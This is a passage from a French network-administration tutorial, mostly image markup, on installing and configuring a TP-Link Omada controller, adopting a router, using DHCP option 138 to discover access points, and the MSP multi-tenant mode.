<figure class="wp-block-image size-full"><img decoding="async" width="800" height="550" src="media/94cdba81.Installation-controleur-TP-Link-Omada-sur-Windows-Server-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-4.png" alt="Installation contrôleur TP-Link Omada sur Windows Server - 4" class="wp-image-72883" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-4.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-4-550x378.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-4-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-4-768x528.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-4-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Installation-controleur-TP-Link-Omada-sur-Windows-Server-4-130x90.png 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<ul>
<li><strong>Initialisation du contrôleur Omada</strong></li>
</ul>



<p>Un assistant nous accompagne tout au long de la mise en route du contrôleur Omada. L'interface Omada est disponible en plusieurs langues dont le français et l'anglais.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="540" src="media/be63bb0b.Initialisation-du-controleur-TP-Link-Omada-800x540.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Initialisation-du-controleur-TP-Link-Omada-800x540.png" alt="Initialisation du contrôleur TP-Link Omada" class="wp-image-72888" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Initialisation-du-controleur-TP-Link-Omada-800x540.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Initialisation-du-controleur-TP-Link-Omada-550x371.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Initialisation-du-controleur-TP-Link-Omada-150x101.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Initialisation-du-controleur-TP-Link-Omada-768x518.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Initialisation-du-controleur-TP-Link-Omada-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Initialisation-du-controleur-TP-Link-Omada.png 908w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La première étape consiste à définir un compte pour le compte Administrateur, ainsi qu'un mot de passe. L'option "<strong>Accès au nuage</strong>" est facultative : si elle est activée, ceci permet d'activer l'accès distant au contrôleur via l'infrastructure Cloud de TP-Link qui fait alors office de relais.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="548" src="media/55fdf018.Setup-TP-Link-Omada-Etape-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-1.jpg" alt="Setup TP-Link Omada - Etape 1" class="wp-image-72887" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-1-550x377.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-1-150x103.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-1-768x526.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-1-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-1-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, plusieurs étapes s'enchaînent et elles vont permettre d'effectuer les étapes suivantes :</p>



<ul>
<li>Nommer le contrôleur Omada, choisir un pays et définir un fuseau horaire</li>



<li>Créer un premier site (ce qui permettra de lui associer des équipements), définir le nom d'utilisateur et le mot de passe du compte admin qui devra être poussé sur les périphériques de ce site et sélectionner un scénario de déploiement (pour qu'Omada guide l'utilisateur en fonction de ce choix)</li>



<li>Configurer les appareils détectés, mais actuellement nous n'en avons pas sur notre contrôleur Cloud</li>



<li>Configurer une préconfiguration pour les paramètres de l'interface WAN des routeurs (facultatif)</li>



<li>Créer un premier réseau WiFi</li>
</ul>



<p>Voici un aperçu de certaines étapes :</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/72f6b292.Setup-TP-Link-Omada-Etape-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2.png"><img decoding="async" width="1174" height="802" data-id="72892" src="media/72f6b292.Setup-TP-Link-Omada-Etape-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2.png" alt="" class="wp-image-72892" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2.png 1174w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2-550x376.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2-800x547.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2-150x102.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2-768x525.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-2-130x90.png 130w" sizes="(max-width: 1174px) 100vw, 1174px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/139d8e7a.Setup-TP-Link-Omada-Etape-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3.png"><img decoding="async" width="1174" height="803" data-id="72890" src="media/139d8e7a.Setup-TP-Link-Omada-Etape-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3.png" alt="" class="wp-image-72890" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3.png 1174w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3-550x376.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3-800x547.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3-768x525.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-3-130x90.png 130w" sizes="(max-width: 1174px) 100vw, 1174px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/38924750.Setup-TP-Link-Omada-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4.png"><img decoding="async" width="1175" height="803" data-id="72889" src="media/38924750.Setup-TP-Link-Omada-Etape-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4.png" alt="" class="wp-image-72889" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4.png 1175w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4-550x376.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4-800x547.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4-768x525.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-4-130x90.png 130w" sizes="(max-width: 1175px) 100vw, 1175px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/b405aac5.Setup-TP-Link-Omada-Etape-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5.png"><img decoding="async" width="1177" height="804" data-id="72891" src="media/b405aac5.Setup-TP-Link-Omada-Etape-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5.png" alt="" class="wp-image-72891" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5.png 1177w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5-550x376.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5-800x546.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5-150x102.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5-768x525.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Etape-5-130x90.png 130w" sizes="(max-width: 1177px) 100vw, 1177px" /></a></figure>
</figure>



<p>Une fois l'initialisation terminée, nous n'avons plus qu'à nous connecter au contrôleur Omada :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="472" src="media/12735fdd.Setup-TP-Link-Omada-Premiere-connexion.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Premiere-connexion.png" alt="Setup TP-Link Omada - Première connexion" class="wp-image-72895" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Premiere-connexion.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Premiere-connexion-550x325.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Premiere-connexion-150x89.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Premiere-connexion-768x453.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Premiere-connexion-50x30.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Bienvenue sur le contrôleur Omada ! </strong>Pour nous accueillir comme il se doit, un assistant s'exécute automatiquement pour nous présenter l'interface et son fonctionnement général.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/9d751de5.Setup-TP-Link-Omada-Assistant-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1.png"><img decoding="async" width="1300" height="634" data-id="72896" src="media/9d751de5.Setup-TP-Link-Omada-Assistant-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1.png" alt="Setup TP-Link Omada - Assistant" class="wp-image-72896" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1.png 1300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1-550x268.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1-800x390.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1-768x375.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Setup-TP-Link-Omada-Assistant-1-50x24.png 50w" sizes="(max-width: 1300px) 100vw, 1300px" /></a></figure>
</figure>



<p><strong>Voilà, le contrôleur Omada est prêt ! </strong>La prochaine étape ? Ajouter notre premier routeur !</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-4 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/008a0009.Controleur-TP-Link-Omada-en-VM.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM.jpg"><img decoding="async" width="1200" height="527" data-id="72898" src="media/008a0009.Controleur-TP-Link-Omada-en-VM.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM.jpg" alt="Contrôleur TP-Link Omada en VM" class="wp-image-72898" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM-550x242.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM-800x351.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM-150x66.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM-768x337.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Controleur-TP-Link-Omada-en-VM-50x22.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<h3 class="wp-block-heading">B. Préparation du routeur</h3>



<p>Nous sommes au bureau, et nous allons préparer le routeur avant de l'envoyer chez un client. <strong>Pourquoi faut-il le préparer ? </strong>Ce routeur doit être préparé pour que <strong>l'interface WAN</strong> soit correctement configurée selon les prérequis du réseau opérateur. Par exemple, ici, nous devons définir un VLAN ID à 100. Nous en profiterons aussi pour <strong>définir l'adresse IP du contrôleur Omada dans les paramètres du routeur</strong> pour qu'il vienne s'inscrire automatiquement. Pour tous les autres équipements, <strong>le DHCP sera notre allié</strong>.</p>



<p>Si l'on prend l'exemple du routeur <strong>TP-Link ER7206</strong> utilisé dans cette configuration, l'interface WAN se configurer à partir du "<strong>Network</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="632" src="media/cf10425a.Routeur-TP-Link-Configurer-interface-WAN.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-interface-WAN.png" alt="Routeur TP-Link - Configurer interface WAN" class="wp-image-72905" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-interface-WAN.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-interface-WAN-550x435.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-interface-WAN-150x119.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-interface-WAN-768x607.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-interface-WAN-50x40.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, nous devons déclarer l'adresse IP du contrôleur via le menu "<strong>System Tools</strong>" puis "<strong>Controller Settings</strong>". Ici, nous allons activer l'option "<strong>Cloud-based Controller Management</strong>" et indiquer l'adresse IP (ou le nom DNS) du contrôleur Omada. Voici un exemple :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="645" src="media/21890477.Routeur-TP-Link-Definir-adresse-IP-controleur-Omada.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Definir-adresse-IP-controleur-Omada.png" alt="Routeur TP-Link - Définir adresse IP contrôleur Omada" class="wp-image-72904" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Definir-adresse-IP-controleur-Omada.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Definir-adresse-IP-controleur-Omada-550x443.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Definir-adresse-IP-controleur-Omada-150x121.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Definir-adresse-IP-controleur-Omada-768x619.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Definir-adresse-IP-controleur-Omada-50x40.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Quelques secondes plus tard, le routeur apparaît sur l'interface du contrôleur Omada : il est en attente d'adoption, ou d'<em>enrollment </em>si vous préférez. Nous allons l'adopter pour qu'il soit géré par notre contrôleur Omada.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/b43c9e7b.Routeur-TP-Link-Enrollment-Omada.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada.jpg"><img decoding="async" width="1200" height="528" data-id="72903" src="media/b43c9e7b.Routeur-TP-Link-Enrollment-Omada.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada.jpg" alt="Routeur TP-Link - Enrollment Omada" class="wp-image-72903" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada-550x242.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada-800x352.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada-150x66.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada-768x338.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Enrollment-Omada-50x22.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>Au moment de faire l'<em>enrollment</em> du routeur, nous devons <strong>l'affecter à un site</strong>. Ceci permettra de l'attribuer au bon site en fonction de son emplacement physique.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="671" height="217" src="media/9c9a2c15.Routeur-TP-Link-Choix-du-site.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Choix-du-site.png" alt="Routeur TP-Link - Choix du site" class="wp-image-72902" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Choix-du-site.png 671w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Choix-du-site-550x178.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Choix-du-site-150x49.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Choix-du-site-50x16.png 50w" sizes="(max-width: 671px) 100vw, 671px" /></figure>



<p>La phase de provisionnement signifie que l'appareil va passer en mode "<em>gestion</em>" : il sera administrable à distance via le contrôleur Omada. S'il y a des paramètres de configuration à appliquer, il va les appliquer également.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="151" src="media/0f443428.Routeur-TP-Link-Provisioning-Omada.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Provisioning-Omada.jpg" alt="Routeur TP-Link - Provisioning Omada" class="wp-image-72901" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Provisioning-Omada.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Provisioning-Omada-550x104.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Provisioning-Omada-150x28.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Provisioning-Omada-768x145.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Provisioning-Omada-50x9.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Le routeur est prêt. </strong>Nous pouvons l'envoyer chez notre client pour qu'il soit connecté au réseau.</p>



<p>Quelques jours plus tard, le routeur est connecté au réseau du client. Il est bien visible dans l'interface Omada.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="283" src="media/1a2032a0.Routeur-TP-Link-connecte-a-Omada-800x283.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-connecte-a-Omada-800x283.png" alt="Routeur TP-Link connecté à Omada" class="wp-image-72921" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-connecte-a-Omada-800x283.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-connecte-a-Omada-550x195.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-connecte-a-Omada-150x53.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-connecte-a-Omada-768x272.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-connecte-a-Omada-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-connecte-a-Omada.png 895w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">C. La magie de l'option 138 du DHCP</h3>



<p>Maintenant, nous devons faire en sorte que tous les autres équipements Omada connectés au réseau remontent automatiquement sur notre contrôleur. Pour cela, nous allons utiliser une option DHCP ! En effet, l'<strong>option n°138 prise en charge par le protocole DHCP sert à déclarer l'adresse IP d'un contrôleur</strong>, elle va donc nous être utile pour déclarer l'adresse IP de notre contrôleur Omada.</p>



<p>Dans cet exemple, nous allons <strong>configurer le serveur DHCP du routeur Omada</strong> pour qu'il distribue cette option avec la bonne valeur. S'il y aurait déjà un serveur DHCP en place, sur Windows Server par exemple, prenant en charge l'option 138 DHCP, nous pourrions l'utiliser.</p>



<p>La configuration de cette option s'effectue à partir de l'interface Omada. Voici comment effectuer cette configuration :</p>



<p><strong>1 </strong>- Accédez à la section des paramètres</p>



<p><strong>2</strong> - Cliquez sur "<strong>Réseaux filaires</strong>"</p>



<p><strong>3 </strong>- Cliquez sur "<strong>LAN</strong>"</p>



<p><strong>4 </strong>- Editez l'interface "<strong>LAN</strong>" (un bouton est disponible tout à droite)</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="830" src="media/247c3dfb.Routeur-TP-Link-Configurer-VLAN-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-VLAN-1.png" alt="Routeur TP-Link - Configurer VLAN 1" class="wp-image-72900" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-VLAN-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-VLAN-1-550x571.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-VLAN-1-145x150.png 145w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-VLAN-1-768x797.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-Configurer-VLAN-1-48x50.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, vous n'avez plus qu'à descendre dans la page afin de cliquer sur "<strong>Options DHCP avancées</strong>". Ici, il y a l'<strong>option DHCP 138 </strong>: il suffit d'indiquer l'adresse IP du contrôleur Omada. Voici un exemple :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="280" src="media/ebbedfb4.Routeur-TP-Link-DHCP-Option-138-800x280.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-DHCP-Option-138-800x280.png" alt="Routeur TP-Link - DHCP Option 138" class="wp-image-72899" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-DHCP-Option-138-800x280.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-DHCP-Option-138-550x192.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-DHCP-Option-138-150x52.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-DHCP-Option-138-768x269.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-DHCP-Option-138-50x17.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Routeur-TP-Link-DHCP-Option-138.png 835w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Sauvegardez... La nouvelle configuration va être déployée sur le routeur.</p>



<p>Grâce à cette configuration, les points d'accès Wi-Fi Omada connectés au réseau vont remonter tout seuls comme des grands sur le contrôleur Omada. Ainsi, il ne restera plus qu'à faire l'adoption et l'association à un site. Ensuite, le point d'accès Wi-Fi va récupérer sa configuration, notamment le SSID Wi-Fi à diffuser.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-6 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/072d631a.TP-Link-Omada-Ajout-automatique-AP-WiFi.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi.jpg"><img decoding="async" width="1200" height="529" data-id="72906" src="media/072d631a.TP-Link-Omada-Ajout-automatique-AP-WiFi.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi.jpg" alt="TP-Link Omada - Ajout automatique AP WiFi" class="wp-image-72906" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi-550x242.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi-800x353.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi-150x66.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi-768x339.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Ajout-automatique-AP-WiFi-50x22.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a></figure>
</figure>



<p>Voilà, sur ce site, nous pouvons déployer très facilement de nouveaux équipements réseau !</p>



<h3 class="wp-block-heading">D. Le mode MSP</h3>



<p>Le contrôleur Omada dispose d'<strong>un mode MSP</strong> (<em><strong>M</strong>anage <strong>S</strong>ervice <strong>P</strong>rovider</em>) qui va nous permettre de&nbsp;<strong>créer et gérer plusieurs tenants (organisation) et dans chaque tenant plusieurs clients (ou sites) sur un même contrôleur</strong>. En tant que <strong>prestataire de services</strong> ou <strong>opérateur</strong>, vous pouvez avoir un contrôleur Omada unique qui sera <strong>mutualisé entre plusieurs clients</strong>. Bien entendu, chaque tenant (organisation) et chaque client sont cloisonnés dans des environnements différents.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-7 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/a9047cd1.TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client.png"><img decoding="async" width="1274" height="694" data-id="72925" src="media/a9047cd1.TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client.png" alt="" class="wp-image-72925" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client.png 1274w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client-550x300.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client-800x436.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client-768x418.png 768w, 